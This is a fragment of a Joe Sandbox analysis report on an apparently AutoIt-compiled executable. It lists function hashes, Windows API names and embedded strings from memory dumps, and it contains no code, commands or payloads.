                                                                                                                                                                            • Instruction ID: 605e6f2137af0da20622965f401ef9b5fb5586b71f34442b892c9ae47e622614
                                                                                                                                                                            • Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                                                                                                                                            • Instruction Fuzzy Hash: BE618F32B18A42D6EB20EF65E8455EC6361FB85BC4F8040B2EA4D9769EDF7CE506C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadModuleString$Messagewprintf
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                                                                                                                            • API String ID: 4051287042-2268648507
                                                                                                                                                                            • Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                                                                                                                                            • Instruction ID: fae087f808e4215084c4d126950bb6335d10c2290dea78282527e6d9cce2c951
                                                                                                                                                                            • Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                                                                                                                                            • Instruction Fuzzy Hash: 92517432B18A5291EB20EF64E8854ED6321FF957D4F8010B2E94D9369EDF7CE506D740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
                                                                                                                                                                            • String ID: BUTTON
                                                                                                                                                                            • API String ID: 3935177441-3405671355
                                                                                                                                                                            • Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                                                                                                                                            • Instruction ID: b926709ce6cf4b9e94d5a6be4987532ad0920fc1e2eaf72ee3e2fc7c486e0798
                                                                                                                                                                            • Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                                                                                                                                            • Instruction Fuzzy Hash: 5D312939B0960786FB34AF20F8D4B792371EF86BC4F4551B1D90EC66A9DE2CB4859300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Destroy$AcceleratorKillTableTimerWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1974058525-0
                                                                                                                                                                            • Opcode ID: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
                                                                                                                                                                            • Instruction ID: 1c1a564b148bbeaa1bed635842cfac22fb9140f0d56253819688421bce01df93
                                                                                                                                                                            • Opcode Fuzzy Hash: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
                                                                                                                                                                            • Instruction Fuzzy Hash: 17912736A0DA0685EF749F25E49067823A5FF86BC4F5840B1DA4EC7759CE3CF881A750
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3096461208-0
                                                                                                                                                                            • Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                                                                                                                                            • Instruction ID: e95001acb9f1f1a0a85e3d75277d905ef6329963a6c490b179402b54445dd257
                                                                                                                                                                            • Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                                                                                                                                            • Instruction Fuzzy Hash: E4618E76B046418BE728CF6AE44466C7BA2FB89B84F508179DE09D3F58DF3CE9058B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharDriveLowerTypewcscpy
                                                                                                                                                                            • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                                                                                                                            • API String ID: 1561581874-1000479233
                                                                                                                                                                            • Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                                                                                                                                            • Instruction ID: ccbd42f64a7d41382444176ac06d6a69f6e8f3f3a0db05a1e90f1aa1ebe5d8cd
                                                                                                                                                                            • Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                                                                                                                                            • Instruction Fuzzy Hash: BED1E332E1865681EE309F19D540179ABA0FB56BE9F4882B1EA5D937DCDF3CEA458300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
                                                                                                                                                                            • String ID: %s%u
                                                                                                                                                                            • API String ID: 1412819556-679674701
                                                                                                                                                                            • Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
                                                                                                                                                                            • Instruction ID: d8c08039596c30698f7195f434f1a20e2a3755f3e4dc907eabd4214f02eb0e4a
                                                                                                                                                                            • Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
                                                                                                                                                                            • Instruction Fuzzy Hash: FEB1DE72B0968696EB289F26D8846F877A0FB4ABC4F400071DE1D87799DF39F519C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
                                                                                                                                                                            • String ID: ThumbnailClass
                                                                                                                                                                            • API String ID: 4010642439-1241985126
                                                                                                                                                                            • Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                                                                                                                                            • Instruction ID: 8431c5ff1344f9e8e5c68a81c747e409b150e225c4fa650449a45570d78c48ad
                                                                                                                                                                            • Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                                                                                                                                            • Instruction Fuzzy Hash: 11A18332B0868687EA349F25D4846B9A761FF867C4F408075DE9E83A99DF3DF905CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                                                                                                                            • String ID: P
                                                                                                                                                                            • API String ID: 1268354404-3110715001
                                                                                                                                                                            • Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                                                                                                                                            • Instruction ID: 28b2dfacf45aecc57c8302f603ffc37763b4dcb209e2bbee39d346a12ddc50ec
                                                                                                                                                                            • Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                                                                                                                                            • Instruction Fuzzy Hash: 03619F36A09A428AEB34DF25D8406B927A1FF86BD8F144575EE4E8379CDF3CE4409740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LoadStringwprintf
                                                                                                                                                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                            • API String ID: 3297454147-2391861430
                                                                                                                                                                            • Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                                                                                                                                            • Instruction ID: 02e651d7b368b4f1246c4d1bd46014b91076f9cffc8502922d35309c95d25d70
                                                                                                                                                                            • Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                                                                                                                                            • Instruction Fuzzy Hash: 0871A432B18A5296EB60DF65E8815ED6321FF817C4F8040B2EA5D8769EDF3CE506C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
                                                                                                                                                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                            • API String ID: 3030280669-22481851
                                                                                                                                                                            • Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
                                                                                                                                                                            • Instruction ID: 9c27530faa1320bba8483b756dc05839bdeaebcfb4c40f6dab520cbb620fa15b
                                                                                                                                                                            • Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
                                                                                                                                                                            • Instruction Fuzzy Hash: EF51C332718A8295EB30EF65E8846ED67A0FB957D4F400071EA4D87AADEF3CD589C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
                                                                                                                                                                            • String ID: :$\$\??\%s
                                                                                                                                                                            • API String ID: 3827137101-3457252023
                                                                                                                                                                            • Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
                                                                                                                                                                            • Instruction ID: 7bbe30eed42c66cf59f34e83fbf4c33e24f79b9551ce7ff1b21a6a5f41ca9c4c
                                                                                                                                                                            • Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
                                                                                                                                                                            • Instruction Fuzzy Hash: 2D419C32A1868385EB30AF25E8006FD63A0FF86BD9F544175DA0D83AACDF7CD6468701
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1255039815-0
                                                                                                                                                                            • Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                                                                                                                                            • Instruction ID: 5d9de0de4906c574794358ef517ff90963b74f7045acbd68c636e819d748278d
                                                                                                                                                                            • Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                                                                                                                                            • Instruction Fuzzy Hash: DE619C36B046528AEB24EF75D8446BC37E8FB45BD8B049076DE1A93798DF38D845C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: State$Async$Keyboard
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 541375521-0
                                                                                                                                                                            • Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
                                                                                                                                                                            • Instruction ID: 9e35479c6c5268454e47aba99026055c4535ab6ef5beae7f4114876e52c5bbe2
                                                                                                                                                                            • Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
                                                                                                                                                                            • Instruction Fuzzy Hash: 75417173D0C6C555FB719F6494803792BA0EF97BC4F4840BADA8A876CACE1DB8948361
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00007FF697B46838: CreateFileW.KERNELBASE ref: 00007FF697B468A2
                                                                                                                                                                              • Part of subcall function 00007FF697B64380: GetCurrentDirectoryW.KERNEL32(?,00007FF697B4E817), ref: 00007FF697B6439C
                                                                                                                                                                              • Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32 ref: 00007FF697B4E8B0
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32 ref: 00007FF697B4E9FA
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
                                                                                                                                                                            • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                                                                                                                            • API String ID: 2207129308-1018226102
                                                                                                                                                                            • Opcode ID: 49ea3aa48a149d0aacd5de8a606b77436f364f7eadc79b2dd04c4d4d22c4e031
                                                                                                                                                                            • Instruction ID: b6a3253debc03ddb0ca15456184b25377bb8d63251c56aeb19ae6bf6ebb9c8da
                                                                                                                                                                            • Opcode Fuzzy Hash: 49ea3aa48a149d0aacd5de8a606b77436f364f7eadc79b2dd04c4d4d22c4e031
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F129132A1864286EB30DF65D4811FE6760FB96BD8F800172EA9E8769EDF7CE505D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                                                                                                                                            • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                                                                                                                            • API String ID: 636576611-1287834457
                                                                                                                                                                            • Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                                                                                                                                            • Instruction ID: ffdd92059c1266af7a1e3e839ecaa899ae795451143f1097d6c016595a672f82
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                                                                                                                                            • Instruction Fuzzy Hash: FF7169B6A08A06C5EB249F26E4442BD27A0FB86FD8F5444B2DE0E87769DF3DE445C344
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
